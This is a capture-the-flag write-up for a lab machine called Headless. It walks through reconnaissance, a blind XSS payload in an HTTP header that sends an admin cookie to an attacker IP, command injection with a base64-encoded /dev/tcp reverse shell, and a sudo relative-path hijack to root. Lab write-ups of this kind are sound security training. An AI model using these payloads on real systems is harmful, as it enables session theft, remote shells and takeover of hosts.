Machine Card listing Headless as an easy Linux box

Reconnaissance

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Mon, 15 Jul 2024 14:47:40 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

The nmap scan indentified just two ports, 22 and 5000. Unless SSH is running a really old version its not worth investigating so I’ll turn to the webserver running on port 5000.

HTTP

The previous scan already showed that the page is powered by Werkzeug on python 3.11.2 and is setting a cookie is_admin=... right away. It’s worth noting that the HttpOnly flag is not set and that makes stealing the cookie through javascript possible1.
Looking at the webpage I see a countdown counting down from 25 days and a button to submit questions.

Screenshot of a webpage displaying a countdown from 25 days in the future and a button to submit questions

Clicking the button and being redirected to /support shows a form asking for personal details as well as a message to the support. Adding some data and clicking Submit, I can observe a POST request and the form clears.

Screenshot of a form to contact support asking for personal information and a message

Next I do set up a local HTTP listener and I’ll add some javascript as message <script>document.location='http://10.10.10.10'+document.cookie</script> and send the requests through BurpSuite because I don’t want to type the data all over again. This time I even get a response - Hacking Attempt Detected and a the server displays my request explaining that my IP has been flagged and will this will be reported to an administrator.

Screenshot displaying a warning that a hacking attempt was detected and showing the detected request

I can extract two important details from the message, maybe an administrator will look at the message and my parameters may not be visible to them. Within Burp I do repeat the request but this time adding my payload also as a HTTP header.

POST /support HTTP/1.1
Host: 10.129.215.22:5000
X-RYUKI: <script>document.location='http://10.10.10.10/'+document.cookie</script>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.129.215.22:5000/support
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Origin: http://10.129.215.22:5000
Connection: keep-alive
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

fname=ryuki&lname=ikuyr&email=ryuki%40ikuyr.local&phone=123&message=%3Cscript%3Edocument.location%3D%2710.10.10.10%27%2f%2Bdocument.cookie%3C%2Fscript%3E

Shortly after sending the request I do get a callback from an administrator on my HTTP server exposing their cookie. I replace my own cookie with the stolen one.

10.129.215.22 - - [15/Jul/2024 17:22:28] "GET /favicon.ico HTTP/1.1" 404 -
10.129.215.22 - - [15/Jul/2024 17:22:30] code 404, message File not found
10.129.215.22 - - [15/Jul/2024 17:22:30] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -

Trying the obvious choices /admin and /login I come up empty and resort to directory bruteforcing to discover an admin portal or login form.

ffuf -s \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
     -u 'http://10.129.215.22:5000/FUZZ'
support
dashboard

ffuf identifies an additional path on the webserver I can access /dashboard and doing so shows the administrator dashboard. There I can pick a date and generate a report.
Without a valid is_admin cookie I just receive a 403 error.

Screenshot of a datepicker and a button to generate a report on an admin dashboard

Keeping the date as it is and clicking on Generate Report I observe the following request in Burp and a message Systems are up and running! as response.

POST /dashboard HTTP/1.1
Host: 10.129.215.22:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.129.215.22:5000
Connection: keep-alive
Referer: http://10.129.215.22:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

date=2023-09-15

Testing for command injection with 2023-09-15;id the output changes slightly and includes the output of the id command. This confirms the command injection vulnerability and I move on to get a reverse shell.

Execution

I grab any linux reverse shell from revshells and base64 encode it so I don’t have to deal with too many special characters in my payload and insert it into echo '<base64>'|base64 -d|bash before url-encoding the whole command and sending it to the webserver.

date=2023-09-15;echo+'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvMzEzMzcgMD4mMQ%3d%3d'|base64+-d|bash

Promptly I get a callback on my listener and have access as dvir to the first flag.

$ id  
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
$ ls -la ~/user.txt
-rw-r----- 1 root dvir 33 Jul 15 17:40 /home/dvir/user.txt

Privilege Escalation

Even though not knowing the password for user dvir I check if I can run any commands with sudo. The output shows that I can run /usr/bin/syscheck as anyone including root.

sudo --list --non-interactive
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty
 
User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

The file syscheck is just a bash script and have a look to understand what it does and how I might be able to abuse it to escalate to root.

/usr/bin/syscheck
#!/bin/bash
 
if [ "$EUID" -ne 0 ]; then
  exit 1
fi
 
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
 
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
 
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
 
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi
 
exit 0

A quick run-down of the script:

  • Check if user is root by comparing the effective user id with 0 and exit if that fails
  • Look for files starting with vmlinuz* in /boot, sorting the matches, picking the last entry and printing its last modification time.
  • Check and report the disk space
  • Check and report the load average
  • Look if any process with initdb.sh are currently running and if that’s not the case executing ./initdb.sh

What quickly caught my eye is the usage of the full path for all executables that are called by the script. This does not seem to be the case for initdb.sh since that is executed from the current working directory and that’s something under my control.

So I’ll change to any directory where I have write-access, like /dev/shm, create a file called initdb.sh, add the the content bash and make it executable with chmod +x initdb.sh.

cd /dev/shm
echo bash > initdb.sh
chmod +x initdb.sh
 
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.01, 0.00
Database service is not running. Starting it...
id
uid=0(root) gid=0(root) groups=0(root)
wc -c /root/root.txt
33 /root/root.txt

After executing syscheck with sudo I’m dropped into another shell running as root.

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Support message with filtered words) -->|XSS in HTTP Header|B(Administrators Cookie)
    B --> C(Access to Dashboard)
end

subgraph "Execution"
    C -->|Command Injection| D(Shell as dvir)
end

subgraph "Privilege Escalation"
    D -->|Path Injection in script| E(Shell as root)
end

Footnotes

  1. Block access to your cookies